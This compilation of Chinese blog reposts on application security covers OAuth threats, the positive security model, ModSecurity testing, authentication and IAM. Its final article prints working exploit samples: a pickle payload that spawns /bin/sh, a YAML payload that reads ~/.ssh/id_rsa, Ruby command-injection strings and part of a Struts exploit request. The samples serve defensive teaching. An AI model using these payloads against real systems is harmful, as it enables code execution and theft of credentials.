这是一个占位符。使用ESAPI进行日志记录的更好示例将在此处进行。
public void testLogHTTPRequest() throws ValidationException, IOException, AuthenticationException { System.out.println("logHTTPRequest"); String[] ignore = {"password","ssn","ccn"}; TestHttpServletRequest request = new TestHttpServletRequest(); // FIXME: AAA modify to return the actual string logged (so we can test) Logger.getLogger("logger", "logger").logHTTPRequest(Logger.SECURITY, request, Arrays.asList(ignore) ); request.addParameter("one","one"); request.addParameter("two","two1"); request.addParameter("two","two2"); request.addParameter("password","jwilliams"); Logger.getLogger("logger", "logger").logHTTPRequest(Logger.SECURITY, request, Arrays.asList(ignore) ); }
相关漏洞
TBD
相关控制
TBD
参考
原文:https://www.owasp.org/index.php/Detect_intrusions
本文:
讨论:加入知识星球或者小红圈【首席架构师圈】
- 23 次浏览
【应用安全】应用安全原则:积极的安全模型
描述
“积极的”安全模型(也称为“白名单”)是定义允许的内容并拒绝其他所有内容的安全模型。这应与“负面”(或“黑名单”)安全模型形成对比,后者定义了不允许的内容,同时隐式允许其他所有内容。
积极的安全模型可以应用于许多不同的应用程序安全区域。例如,在执行输入验证时,正模型要求您应指定允许的输入特征,而不是尝试过滤掉错误输入。在访问控制区域中,肯定模型是拒绝访问所有内容,并且仅允许访问特定的授权资源或功能。如果您曾经不得不处理网络防火墙,那么您可能已经遇到了正面模型的这个应用程序。
使用积极模型的好处是可以防止开发人员未预料到的新攻击。但是,当您试图阻止对您网站的攻击时,负面模型可能非常诱人。然而,最终采用否定模型意味着你永远不会确定你已经解决了所有问题。您最终还会得到一长串负面签名来阻止必须维护。
例子
isAuthorized
if(ESAPI.accessController()。isAuthorizedForFunction(ADMIN_FUNCTION)){
doAdminFunction();
}
else {
doNormalFunction();
}
在此示例中,发生验证,验证是否允许活动用户执行ADMIN_FUNCTIONS。如果是这种情况,将执行请求的管理方法doAdminFunction(),否则执行需要方法doNormalFunction()的默认和非管理特权。
相关漏洞
相关控制
讨论:加入知识星球【首席架构师圈】
- 56 次浏览
【应用安全】应用安全原则:防御深度
描述
纵深防御原则是分层安全机制提高了整个系统的安全性。如果攻击导致一个安全机制失败,则其他机制仍可提供保护系统所需的安全性。例如,完全依赖防火墙为内部使用的应用程序提供安全性并不是一个好主意,因为防火墙通常可以被确定的攻击者规避(即使它需要物理攻击或社会工程攻击某种)。应添加其他安全机制以补充防火墙提供的保护,例如监视摄像机和安全意识培训,以解决不同的攻击媒介。
实施纵深防御策略会增加应用程序的复杂性,这与安全性中经常使用的“简单”原则背道而驰。也就是说,人们可能会争辩说,添加新的保护功能会增加额外的复杂性,从而带来新的风险。需要权衡系统的总风险。例如,具有基于用户名/密码的身份验证的应用程序可能无法将所需的密码长度从8个字符增加到15个字符,因为增加的复杂性可能导致用户将密码写下来,从而降低了系统的整体安全性;但是,添加智能卡要求以对应用程序进行身份验证将通过向身份验证过程添加补充层来增强应用程序的安全性。
例子
易受攻击的管理界面
如果对管理接口进行匿名攻击,如果它正确地访问生产管理网络,检查管理用户授权并记录所有访问权限,则对管理接口的身份验证控制失败的可能性不大。
相关漏洞
TBD
相关控制
深度防御原则与特定控制或控制子集无关。设计原则是指导应用程序的控制选择,以确保其抵御不同形式的攻击,并降低系统安全性单点故障的可能性。
References
深度讨论:加入知识星球【首席架构师圈】
- 92 次浏览
【应用安全】授权服务器安全注意事项
以下是构建授权服务器时应考虑的一些已知问题。
除了此处列出的注意事项外,OAuth 2.0线程模型和安全注意事项草案中还提供了更多信息。
网络钓鱼攻击
针对OAuth服务器的一种潜在攻击是网络钓鱼攻击。这是攻击者创建一个看起来与服务授权页面相同的网页的地方,该页面通常包含用户名和密码字段。然后,通过各种手段,攻击者可以诱骗用户访问该页面。除非用户可以检查浏览器的地址栏,否则该页面可能看起来与真正的授权页面相同,并且用户可以输入他们的用户名和密码。
攻击者可以尝试欺骗用户访问伪造服务器的一种方法是将此网络钓鱼页面嵌入到本机应用程序中的嵌入式Web视图中。由于嵌入式Web视图不显示地址栏,因此用户无法直观地确认它们位于合法站点上。不幸的是,这在移动应用程序中很常见,并且开发人员通常希望通过在整个登录过程中将用户保持在应用程序中来提供更好的用户体验。某些OAuth提供商鼓励第三方应用程序打开Web浏览器或启动提供程序的本机应用程序,而不是允许它们在Web视图中嵌入授权页面。
对策
确保通过https提供授权服务器以避免DNS欺骗。
授权服务器应该向开发人员介绍网络钓鱼攻击的风险,并且可以采取措施防止该页面嵌入到本机应用程序或iframe中。
应该让用户了解网络钓鱼攻击的危险,并且应该教授最佳实践,例如只访问他们信任的应用程序,并定期查看他们授权撤销对不再使用的应用程序的访问权限的应用程序列表。
在允许其他用户使用该应用程序之前,该服务可能希望验证第三方应用程序。 Instagram和Dropbox等服务目前正在执行此操作,在初始创建应用程序时,该应用程序仅可由开发人员或其他白名单用户帐户使用。应用程序提交审批并进行审核后,可以由该服务的整个用户群使用。这使服务有机会检查应用程序如何与服务交互。
点击劫持
在点击劫持攻击中,攻击者创建了一个恶意网站,在该网站中,攻击者网页上方的透明iframe中加载了授权服务器URL。攻击者的网页堆放在iframe下方,并且有一些看似无害的按钮或链接,非常小心地放在授权服务器的确认按钮下面。当用户单击误导性可见按钮时,他们实际上是单击授权页面上的不可见按钮,从而授予对攻击者应用程序的访问权限。这允许攻击者欺骗用户在他们不知情的情况下授予访问权限。
对策
通过确保授权URL始终直接在本机浏览器中加载,而不是嵌入在iframe中,可以防止这种攻击。较新的浏览器能够授权服务器设置HTTP标头,X-Frame-Options,而旧版浏览器可以使用常见的Javascript“框架破坏”技术。
重定向URL操作
攻击者可以使用属于已知正常应用程序的客户端ID构建授权URL,但将重定向URL设置为受攻击者控制的URL。如果授权服务器未验证重定向URL,并且攻击者使用“令牌”响应类型,则用户将使用URL中的访问令牌返回到攻击者的应用程序。如果客户端是公共客户端,并且攻击者拦截授权代码,则攻击者还可以交换访问令牌的代码。
另一个类似的攻击是攻击者可以欺骗用户的DNS,并且注册的重定向不是https URL。这将允许攻击者伪装成有效的重定向URL,并以这种方式窃取访问令牌。
“打开重定向”攻击是指授权服务器不需要重定向URL的完全匹配,而是允许攻击者构建将重定向到攻击者网站的URL。无论这是否最终被用于窃取授权码或访问令牌,这也是一个危险,因为它可用于发起其他无关的攻击。有关Open Redirect攻击的更多详细信息,请访问https://oauth.net/advisories/2014-1-covert-redirect/。
对策
授权服务器必须要求应用程序注册一个或多个重定向URL,并且仅重定向到先前注册的URL的完全匹配。
授权服务器还应要求所有重定向URL均为https。由于这有时会给开发人员带来负担,特别是在应用程序运行之前,在应用程序“处于开发阶段”时允许非https重定向URL并且只能由开发人员访问,然后要求在发布应用程序之前,重定向URL已更改为https URL。
原文:https://www.oauth.com/oauth2-servers/authorization/security-considerations/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 32 次浏览
【应用安全】无论编程语言如何,都有4种保护代码的方法
没有必要过度思考哪种概念是最安全的编程语言。实际上没有一个,开发人员应该专注于如何用他们选择的语言编写最安全的代码。
这是软件安全公司WhiteSource的知识和研究小组负责人Tsaela Pinto的结论,该公司最近发布了一份关于不同语言的安全漏洞的报告。
“没有人会根据安全性或基于我们的调查结果选择或应该选择一种语言。您将根据自己的软件需求进行选择。在开源安全方面,您需要了解独特的挑战。每种语言。“
-Tsaela Pinto
在WhiteSource的调查结果中:C编程语言占过去十年公开披露的所有开源漏洞的47%,2018年漏洞中最大的漏洞发生在Linux操作系统的代码中,即网络协议扫描程序Wireshark,和ImageMagick图形套件。
这些数据可能会导致一些人最终避免使用C或Linux进行未来开发。但平托说,这样的决定将是轻率的。 “项目越受欢迎,报告的漏洞就越多。由于你拥有更大的社区,更多的人使用这些代码,他们可以发现更多的漏洞。” (无论您使用何种语言来创建应用程序,您仍然需要一个顶级的应用程序安全测试工具来帮助根除漏洞)。
底线:不要惊慌。无论您丢失什么语言,以下是提高代码安全性的四种方法。
1.语言选择基本上是安全中立的
开发人员应根据项目及其公司的需求选择编程语言和框架。虽然一些编程语言具有面向安全的功能,例如沙箱,垃圾收集和类型转换 - 所有这些都可以在Java中找到,例如,知识渊博的编码人员可以在大多数现代语言中创建安全代码。
生成最安全代码的最佳方法是使用建议安全模式的环境,并通过环境中的通知加强安全最佳实践,Sonatype副总裁兼DevOps倡导者Derek Weeks表示。
“如果你可以在他们构建应用程序的环境中获得开发人员所需的安全信息,那么这有助于他们采用安全的编码实践。当我使用Word时,我不需要成为拼写专家。同样原因是,每个开发人员都不应该成为安全专家。“
-Derek Weeks
2.教育自己安全编码
每种编程语言都有其变幻莫测和缺陷,经验丰富的程序员应该知道要避免的一般设计模式,以及产生漏洞的功能。
在其研究中,WhiteSource发现在Common Weakness Enumeration(CWE)框架下识别为CWE-119的缓冲区错误是用C和C ++创建的代码的最大漏洞。
跨站点脚本CWE-79是用PHP和Ruby编写的Web应用程序最常见的漏洞类,而Python程序最常遇到输入验证问题CWE-20。
WhiteSource营销副总裁Maya Rotenberg表示,意识是关键。
“我们看到的是每种语言都存在不同的挑战。因此,开发人员需要了解所选语言的优缺点,以便他们了解所面临的挑战。”
-Maya Rotenberg
但是语言之间存在差异。例如,JavaScript开发人员通常不会为标准软件漏洞标识符(称为公共漏洞枚举(CVE))分配漏洞。事实上,30%的JavaScript漏洞没有CVE,因此没有出现在国家漏洞数据库中,这是美国政府的软件漏洞集合。
3.使用可用的工具
当集成到开发生命周期中时,代码扫描工具可以帮助开发人员捕获由于不熟悉所选编程语言的弱点而导致的漏洞。
在其2018年的软件安全状态报告中,Veracode发现,增加漏洞扫描的数量会导致漏洞被更快地关闭。该公司发现,遵循DevSecOps节奏并进行每日扫描的公司 - 每年超过300次 - 产生了最重大的影响。
即使免费工具也可以提供帮工具随时可用于扫描GitHub上的代码,以确定代码中包含的任何开源软件包是否存在漏洞。
Sonatype's Weeks表示,定期更新代码包也有助于保护最终的软件产品。
“如果您使用最新的组件,那些已知漏洞较少,因此使用最新版本非常有意义。您可以采取非常具体的免费操作来改善您的安全卫生。”
-Derek Weeks
4.自动化使安全性变得简单
最后,开发人员应该自动化他们的流程,以便更容易采用安全最佳实践。目标是促使开发人员在自然开发流程中修复漏洞,而不是仅在流程结束时进行安全扫描。
在其2018年的软件供应链状态报告中,Sonatype发现,最成熟的DevOps从业者将自动化投资增加了15%,57%的公司在整个开发过程中进行自动化应用程序安全扫描。
WhiteSource的Pinto表示,公司需要帮助他们的开发人员加快编码软件的过程。她说,除自动扫描外,公司还应该使用问题跟踪系统。
“你可以做的最糟糕的事情是让你的程序员使用Jira门票。如果我收到安全警报,我也应该得到一个修复,我的系统应该优先考虑它们。”
-Tsaela Pinto
没有顶级语言
十多年来,程序员和开发人员一直在问这个看似简单的问题:哪种编程语言能够产生最安全的代码?完美的编程语言既功能丰富又优雅,可生成高效且安全的代码。
迄今为止,各种分析未能确定完美的语言。不同的安全公司提出了不同的语言安全指标。例如,2010年,网络应用安全公司WhiteHat Security研究了使用不同框架构建的网站,并用不同语言编写,以尝试确定哪种网络编程语言最安全。
WhiteHat专注于几个不同的指标,包括每个输入的漏洞数量,至少有一个漏洞的网站数量,以及严重未修补的漏洞数量。该公司从近1,700个企业网站评估中收集数据,包括使用Microsoft的ASP Classic和.NET框架,Adobe的Cold Fusion,Apache Struts,Java Server Pages,PHP和Perl构建的网站。
最后,公司无法明确指出平台或语言是最安全的。
确定最合适的编程语言安全度量标准已证明是困难的。在其2018年的软件安全状态报告中,Veracode测量了开发人员为每种编程语言修补代码所花费的时间。用Python编写的应用程序仅占Veracode测试程序的1%,其缺陷修复速度最快。 Android和JavaScript分别是第二和第三快修补。
另一方面,用PHP编写的应用程序具有开放时间最长的漏洞。用iOS和Java编写的程序分别是第二和第三缓慢修补的代码库。
这就是说安全性完美的开源编程语言与发现尼斯湖怪物或独角兽一样难以捉摸。相反,花点时间,按照上面的指导原则,用你能做的任何语言选择最好的语言。
讨论:请加入知识星球【首席架构师圈】
- 40 次浏览
【应用安全】用OWASP JuiceShop测试ModSecurity CRS
这篇文章并不是一个评估或适当的测试,它只是一个实验,看看这是如何运作的。
ModSecurity CRS + OWASP JuiceShop
ModSecurity是一个开源的web应用程序防火墙,可以在恶意请求攻击实际应用程序服务器之前过滤掉它们。OWASP Mod安全核心规则集(CRS)定义了一组用于ModSecurity的预定义规则。CRS本身提供了一组配置选项,可用于调整其行为。最基本的选择是偏执狂级别。通过增加偏执程度,会激活越来越多的攻击规则,从而增加用于确定请求是否为攻击的规则数量。不幸的是,更多的规则也意味着更多的错误空间,这将导致有效的请求被错误地检测为攻击。这些病例通常被称为假阳性结果。
在这篇文章中,我将只使用偏执狂级别1,这意味着在不干扰正常请求的情况下阻止一系列广泛的攻击。我将在以后的博客文章中探讨如何提高偏执的程度。
ModSecurity可以通过几种方式集成到应用程序中,在本例中,我将使用反向代理模式,使用提供的ModSecurity docker映像设置该模式非常容易
设置
Docker为JuiceShop和ModSecurity编写设置
这个设置中一个不幸的细节是,ModSecurity容器只支持ip地址作为代理的上游地址。这使得设置更加复杂,因为我们不能只使用juiceshop域名。作为备份,我将转发内部的JuiceShop端口,并使用我的本地ip和JuiceShop端口作为代理的上游地址。在非测试设置中,我们应该确保没有人能够连接到端口3001,因为这会让攻击者绕过WAF。
测试设置
为了测试这个设置的有效性,我们将使用JuiceShop的一些出色功能,即端到端(e2e)测试套件和“挑战跟踪”功能,即跟踪哪些挑战已经解决。哪些漏洞被成功利用。这将方便地查看哪些攻击被阻止了,哪些通过了。
为了进行比较,我运行了两次测试,启用和不启用ModSecurity CRS。运行测试套件之后,我下载了挑战列表,并查看了哪些挑战在ModSecurity设置中没有得到解决,但在未受保护的设置中得到了解决。列表:
在ModSecurity设置中无法解决的挑战/漏洞
为了进行比较,这里有一个关于ModSecurity所阻碍的挑战类别的概述:
假阳性率
看着被阻止的挑战列表,ModSecurity能够阻止的攻击数量让我非常兴奋。但第二次看的时候,我很困惑。在不了解应用程序的情况下,系统无法阻止许多攻击。为了理解这里发生了什么,让我们看一下伪造优惠券的例子。对于这个挑战,您需要伪造优惠券,以获得订单的80%折扣。
Web应用程序防火墙如何知道哪些优惠券是有效的,哪些不是。如果他们不能阅读编码的优惠券,他们怎么知道哪些折扣是可以接受的呢?
让我们来试试当你提交一个有效的优惠券时会发生什么:
尝试提交有效的优惠券,对ModSecurity保护的JuiceShop
有一个简单的解释,防火墙一直在阻止任何优惠券请求,而不仅仅是恶意的。这当然是一个问题,因为它阻碍了正常的应用程序使用。对于每一个错误(误报),我们都必须为应用的规则定义一个异常。
因此,为了完成设置,我们仍然需要定义为out应用程序定制的异常,以确保它对我们的普通客户仍然可用。
结论
在这种设置中,阻塞漏洞的比率非常低。大多数被阻止的攻击都被阻止了,因为整个功能都没有功能。但这仍然是一个非常基本的设置运行在最小的偏执狂水平。为了进行正确的设置,我们必须通过定义现有规则的异常来教授有关应用程序的ModSecurity细节。
由于误报率很高,很难说哪些请求被正确阻止了,哪些只是过于激进规则的附带损害。
在下一篇文章中,我将尝试定义这些规则,以将假阳性率降到最低,然后我们将尝试提高偏执的程度。这将比这个简单的设置更好地概述ModSecurity的功能。
原文:https://medium.com/@j12934/testing-out-modsecurity-crs-with-owasp-juiceshop-649830932365
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 56 次浏览
【应用安全】破损的身份验证和会话管理对应用程序安全性的重要性
在当今互联网驱动的世界中,管理用户名和密码已成为一项繁琐的任务。然而,由于数据的快速增长,移动和云技术的进步以及似乎每隔一天发生越来越多的安全漏洞,这是一个必要的恶魔。因此,身份验证和会话管理变得更加先进,以保护我们社会所依赖的数据,系统和网络。
尽管在过去的十年中,身份验证和活动会话的管理已经走过了漫长的道路,但它还远未完美。事实上,根据开源Web应用程序安全项目(OWASP)排名前10位,10个最大的Web漏洞列表,破碎身份验证和会话管理占据第二位,使其成为一个仍需要重点关注和改进的领域。自OWASP名单起源于2004年以来,尽管技术本身有所改进,但破碎认证和会话管理仍然位居前10名。
为什么破坏认证和会话管理很重要
根据最新的OWASP Top 10列表,“与身份验证和会话管理相关的应用程序功能通常不正确实施,允许攻击者破坏密码,密钥或会话令牌,或利用其他实施缺陷暂时承担其他用户的身份或永久。“攻击者可以手动检测破损的身份验证,然后使用自动化工具来利用这些漏洞。
在Web应用程序中,这些类型的缺陷可能非常严重。他们将企业置于极高风险之中。他们不仅可以暴露机密数据,而且还可以打开公司的后门,可以被恶意攻击者利用。内部和外部攻击者都可以利用这些漏洞窃取其他人的帐户并冒充用户。
一旦帐户被劫持,攻击者就有能力做任何账户持有人有权做的事情,这可能导致影响公司整体可行性的严重后果。攻击者只需要访问几个帐户或只需一个管理员帐户来破坏应用程序。根据应用程序的目的,损坏的范围可以从身份盗用到泄漏高度敏感的个人信息(或更糟)。
应用程序可能有很多方法容易受到这些身份验证和会话管理漏洞的影响。 OWASP列出了应用程序易受攻击的多种原因,包括:
- 使用散列或加密存储时,用户身份验证凭据不受保护。
- 可以通过弱帐户管理功能猜测或覆盖凭据。
- 会话ID在URL中公开。
- 会话ID容易受到会话固定攻击。
- 会话ID不会超时,或者在注销期间用户会话或身份验证令牌(尤其是单点登录令牌)未正确无效。
- 成功登录后,会话ID不会轮换。
- 密码,会话ID和其他凭据通过未加密的连接发送。
如何保护您的应用程序
保护应用程序免受破坏身份验证的最佳方法是通过各种应用程序安全解决方案来解决此问题。在整个应用程序开发生命周期中解决安全性至关重要,从设计开始到产品的整个生命周期。应用程序的确切类型和范围将决定采取的最佳步骤,以防止破坏身份验证和会话管理问题,但每个部署中都应遵循一般最佳实践:
- 尽可能使用多因素身份验证。
- 不要部署包含任何默认凭据的应用程序。
- 测试弱密码的应用程序。
- 实施强密码策略,包括字符和长度要求,以及必须更改密码的设置间隔。
- 限制失败的登录尝试并创建警报系统,以便在可能的会话攻击正在进行时通知相应的个人。
- 不要在URL中存储会话ID;用户退出应用程序后,应安全地存储和无效。
- 使用安全会话管理器,在每次登录后创建唯一的会话ID。
- 进行全面的应用程序安全性测试,以验证是否正确保护了用户凭据和会话ID。
- 设置适当的会话超时。
- 遵循OWASP应用程序安全验证标准作为创建安全应用程序的基准。
- 实施一组强大的身份验证和会话管理控制。
- 使用SSL(安全套接字层)证书或VPN(虚拟专用网络)加密数据。
对破坏的身份验证和会话管理(以及其他潜在的应用程序漏洞)进行测试可能看起来令人生畏,但有些工具可以简化AppSec测试流程。应用程序漏洞管理器将来自无数AppSec工具的结果关联起来,因此您的团队不必浪费时间进行排序和比较结果。
相反,您将获得一个标准格式的报告,该报告可以为您提供识别哪些应用程序漏洞是真实且可利用的信息。此类工具不仅有助于识别损坏的身份验证问题,还可以提高应用程序在所有漏洞中的安全性。
在身份验证方面,有一些更复杂的选项变得越来越受欢迎,值得一提:
双因素身份验证
双因素身份验证正是其名称所暗示的 - 身份验证过程中需要两个步骤。第一步通常是密码,而第二步可能是许多选项。它可以是SMS消息,由认证应用程序生成的代码,甚至是指纹。
显然,双因素身份验证会增加安全性并使攻击者更难获得访问权限。认证要求的正确组合取决于诸如易用性,当然还有安全性等因素。需要更高安全级别的应用程序应选择更难以破解的组合。
单点登录(SSO)
单点登录(SSO)身份验证是使用单个服务来验证用户对多个帐户的访问权限。这可以通过验证用户身份的SSO网站或通过第三方联合服务提供商来完成。
后一种方法允许组织将认证问题交给专门从事该领域的公司。 SSO身份验证还提供更好的用户体验,因为用户无需登录多个系统并记住各种用户名和密码组合。选择提供商时,我们建议避免使用基于密码的解决方案,因为这些解决方案不太安全,并且可以通过一个密码为您的许多系统提供攻击者访问权限。
基于风险的身份验证(RBA)
借助机器学习技术,应用程序可以监控用户的行为并识别与他们正常登录(或退出)的时间,他们通常使用的设备以及他们在应用程序中执行的典型操作相关的模式。偏离这些规范会产生风险评分,触发一系列操作 - 从要求用户回答质询问题,证明可疑设备的所有权,甚至要求管理员批准访问。越来越多的组织正在采用RBA,因为它为认证提供了额外的保护。
虽然有很多内容可以保护您的应用程序免受破坏的身份验证和会话管理,但值得付出努力和必要。组织无法承担因身份验证违规而导致的后果,特别是如果它导致敏感信息泄露。幸运的是,遵循此处列出的提示并使用工具简化流程并跟踪进度,可以更轻松地构建安全的应用程序。
原文:https://codedx.com/broken-authentication-and-session-management/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 18 次浏览
【应用安全】细粒度授权和其他IAM关键条款
身份和访问管理(IAM)的世界有自己的语言,随着新技术的出现和安全威胁的变化,它也在不断发展。
虽然“必须知道”的术语列表太长,无法在一个博客中涵盖,但在您评估哪种IAM解决方案最适合您的组织时,这里有一些可以纳入您的词汇表。
1.访问管理
用于确定哪些用户可以访问哪些资源(例如,文件、网络、应用程序、网页上的字段)的策略。目前使用的主要访问管理解决方案是用户访问列表、基于角色的访问控制(RBAC)、基于属性的访问控制和基于策略的访问控制。
2.访问治理
访问管理不仅包括设置策略,还包括增加可见性,以查看每个用户可以访问哪些资源,以确保访问权限实际上有效。此外,正如身份管理协会所解释的,访问治理关注的是“以一致、高效和有效的方式管理风险并确保合规性”
3.用户访问列表
UAL是指定哪些用户可以访问哪些资源(例如,文件、网络、应用程序、网页上的字段)的列表。需要每个资源的用户列表和/或每个用户的资源列表。
4.授权
对身份已被验证的用户访问资源(例如,文件、网络、应用程序、网页上的字段等)的权限。
5.认证
验证某人是他们自称的人。通常需要用户名和密码;可能需要生物特征或问题的正确答案。不授权访问任何资源,只验证身份。
6.属性
与确定访问权限相关的用户或用户环境的特征(例如,作业、位置、时间)。用于ABAC和PBAC。
7.RBAC(基于角色的访问控制)
授权解决方案,其中每个资源(例如,文件、网络、应用程序、网页上的字段)都有特定权限创建角色,并且用户与一个或多个角色相匹配。由于RBAC将用户群体划分为角色,并将所有访问权限仅基于这些角色,因此RBAC的授权被称为“粗粒度”,而不是ABAC和PBAC允许的“细粒度”访问控制。
8.ABAC(基于属性的访问控制)
授权解决方案,其中用户在公司中的地位只是决定其访问权限的一个因素;其他属性可以是用户位置和时间。ABAC解决方案通常使用布尔逻辑和XACML。由于ABAC支持基于多个因素做出决策,因此ABAC是一种“细粒度”的授权方法。
9.PBAC(基于策略的访问控制)
授权解决方案,其中角色和属性与逻辑相结合,以创建灵活的动态控制策略。与ABAC一样,它使用许多属性来确定访问权限,因此它还提供“细粒度”访问控制。PBAC被设计为支持各种访问设备,并且通常被认为是最灵活的授权解决方案。
10.细粒度授权
具有高度特异性的授权方法,其中访问权限可能因运行时的条件而异。例如,细粒度授权解决方案可能会授予在某个地区从事某个项目的销售人员在工作时间通过安全网络访问特定文件的权限,但在工作时间之后或通过不安全的WiFi访问。
11.XACML(可扩展访问控制标记语言)
用于定义细粒度、基于属性的访问控制策略的基于标准的语言。通常与ABAC解决方案一起使用,但也可以与RBAC一起使用。
12.OAUTH(开放授权)
开放标准,用于互联网用户授权一个网站或应用程序访问另一个网站上的信息,而无需传输第二个网站的密码。
13.角色爆炸
RBAC实现中的主要问题。当IAM解决方案管理许多相似但略有不同的角色时,会发生“角色爆炸”。例如,一家公司可以创建任意数量的角色,这些角色的访问权限仅对一个或两个文件夹不同。随着资源和角色数量的增加,维护时间和工作量将显著增加。
14.访问蔓延
用户在公司工作的时间越长,获得的权限就越多,因为他们在转换到新职位时不会失去以前的权限。例如,如果程序员成为一名销售人员而不必失去原有的权限,那么他们将获得新的权限。如果这是由于惯性而非设计造成的,则出现了“访问蔓延”。
15.EAM(外部授权管理)
针对企业系统的访问管理解决方案,它能够以更灵活的方式在整个企业中提供授权。鉴于IAM的复杂性,尤其是对于成长中的公司,难怪越来越多的商业领袖正在使用EAM为其公司创建授权解决方案。
16.零信任
将每个用户和每个访问请求视为潜在危险的网络安全框架。零信任解决方案使用信任引擎,根据存储的数据量化授予每个访问请求的风险。一个单独的策略引擎确定信任引擎返回的风险级别是否可接受,解决方案的执行组件执行该决定。
- 38 次浏览
【应用安全】编程语言如何会损害应用程序的安全性
如果您像许多开发人员一样,则可以使用多种动态语言之一来编写应用程序。但是语言可以以未定义的方式进行交互,或者更糟糕的是,定义但令人惊讶的方式对应用程序安全性有严重影响。了解这些行为是保护您的应用免受恶意用户侵害的关键。
这些常用语言(Ruby,Java和Python)应该用于说明所有编程语言中存在的与安全相关的挑战,以及您可以采取哪些措施来解决这些问题。
Python:Don't get in a pickle
由于其简单性和强大的平衡,Python是顶级语言之一。此外,它的多功能性使得生态系统在许多不同的应用程序中蓬勃发展,从简单的工具到复杂的Web应用程序再到数据科学。
Python提供了一种称为“泡菜”的序列化机制。这些非常有用,因为它们很方便,人们已经将它们用于各种各样的事情,包括cookie值和auth令牌。以最终导致安全性受损的方式使用强大的机制也很诱人。
请注意服务器框架中的内容的近似值Twisted用于处理身份验证令牌:
def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
令牌经过base64解码,解压缩,然后检查。但是,什么是防止恶意用户创建自己的pickle然后base64编码呢?没有。那是咸菜的危险;数据可能来自不受信任的来源。
漏洞利用可以像这样构建:
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
这篇文章由Stripe的Nelson Elhage(这些代码片段的来源)在2011年的博客中介绍。 Django,可以说是最受欢迎的Python网页框架,在版本1.6之前的会话中有类似的pickle bug,这是在Twisted上发布博客两年后的事情!
在这些发现之后经常听到的口头禅是“不要使用泡菜!”有些人通过做更多的JSON和YAML做出反应,但是,再一次,你遇到了意想不到的问题。事实证明,YAML有一个很好的功能,许多开发人员都不知道,可以实例化本机对象类型。
请注意关于“其他架构”的官方规范的摘录:
以上推荐的模式都不排除使用任意显式标记。因此,用于特定编程语言的YAML处理器通常提供某种形式的本地标签,其直接映射到语言的本机数据结构(例如,!ruby / object:Set)。
这基本上是一个pickle提供的:语言本地数据结构。
因此,一行如下:
print(yaml.load(exploit)['user_input'])
可以通过包含诸如以下内容的字段值来妥协:
exploit = '''\
name: Boris Chen
user_input: !!python/object/apply:subprocess.check_output
args: [ cat ~/.ssh/id_rsa ]
kwds: {shell:true}
'''
对于寻找传递数据的简单方法的开发人员来说,这是完全出乎意料的,只是为了找出可以包含的可执行代码。如今,人们将使用yaml.safe_load(),但仍然有很多yaml.load()正在进行中。注意安全。始终使用safe_load()。并避免泡菜!
Ruby:可以被速度杀死
Ruby怎么样?它作为Web应用程序的语言也非常受欢迎,特别是由于Ruby on Rails。它在DevOps中也很有用,它是配置管理工具Chef的底层语言。
上述YAML问题也存在于Ruby-以及所有符合YAML的解析器中,无论语言如何。但还有更多。
您可能会认为,如果您使用带有Rails应用程序的XML,那么您就可以避免这种YAML愚蠢(并且可能更担心XXE)。但在2013年(CVE-2013-0156),人们意识到Rails允许通过属性type =“yaml”的任何元素在XML中嵌入YAML。
你可以猜到发生了什么:YAML的所有问题最终都是XML的问题。
问题超出了数据格式。 Ruby / Rails因其处理字符串的方式而开辟了其他可能性。从去年开始的一个优雅的漏洞转变为看起来像目录遍历的东西。 CVE-2016-0752影响了Rails 4.2.5.1之前的版本,并允许通过渲染进行文件遍历。能够在主机上抓取任意文件是危险的,但渲染实际上是对文件进行评估。
示例代码如下:
def show
render params[:template]
end
因此,人们可以利用这种行为,而不仅仅是从机器上获取文件。一个坏的actor可以获得一个可以被评估到该机器上的文件中的可执行文件。最简单的方法是使服务器记录恶意负载。
攻击者可以通过使用包含参数值<%=`ls`%>的GET请求的错误URL请求“污染”日志文件来实现此目的。这将导致记录该表达式。使用此漏洞访问呈现的日志文件将导致能够在系统上运行任意命令 - 在这种情况下命令ls。
完整而优秀的描述在NVisium的博客上。
正如Brett Buerhaus去年发现的那样,Ruby本身也存在类似的风险。在AirBnB的网站上,由于Ruby能够进行字符串插值,他发现了一个漏洞。在Ruby中,字符串插值的工作原理如下:
name = "Ada"
puts "Hello, #{name}!"
因此,评估#{}内的任何内容,包括Ruby的操作系统级别exec指令%x。因此#{%x ['ls']}将在机器上执行ls,并欺骗服务器解释它将导致成功的妥协。
在这种情况下,AirBnB的代码解释了通过JSON传递给它的值。可以在此处找到完整描述,并说明在处理不受信任的数据时,语言的本机便利功能如何产生严重后果。
这些缺陷在高度动态的语言(如Ruby)中非常有害,后者用于快速应用程序开发。但是编译的语言呢?
Java:不要让它让你大吃一惊
Java是服务器端Web的古老语言。尽管从安全角度(与Python和Ruby相比)研究得最多,编译为字节码,并且从设计的早期开始就具有安全性,但它也遭受了以惊人的方式破坏应用程序的漏洞。
Equifax是经历历史上最严重的数据泄露之一的新闻。该漏洞已经宣布,是由于Apache Struts CVE-2017-5638中存在漏洞。 (可以说,Equifax的失败不仅仅是因为没有修补的漏洞,而是系统性的安全性失败,但这仍然是讨论的范围。)
问题在于,尽管Java和Apache Struts技术自大多数财富500强公司早期使用以来,简单而强大的功能可能会导致令人惊讶的漏洞。
这个特别的CVE在3月报道,我发现的最佳解释来自Gotham Digital Science(GDS)。在此次攻击中,攻击者发现在提供无效的多部分内容类型标头时,Struts将在创建错误消息的过程中返回错误消息。但是,Struts不只是返回错误消息;它一路上评估它!
该博客追溯了几种方法,但关键是:
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);Where the author explains: "As it turns out, TextParseUtil's translateVariables method is a data sink for expression language evaluation ... it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}."
然后,获胜的漏洞利用有效载荷如下:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
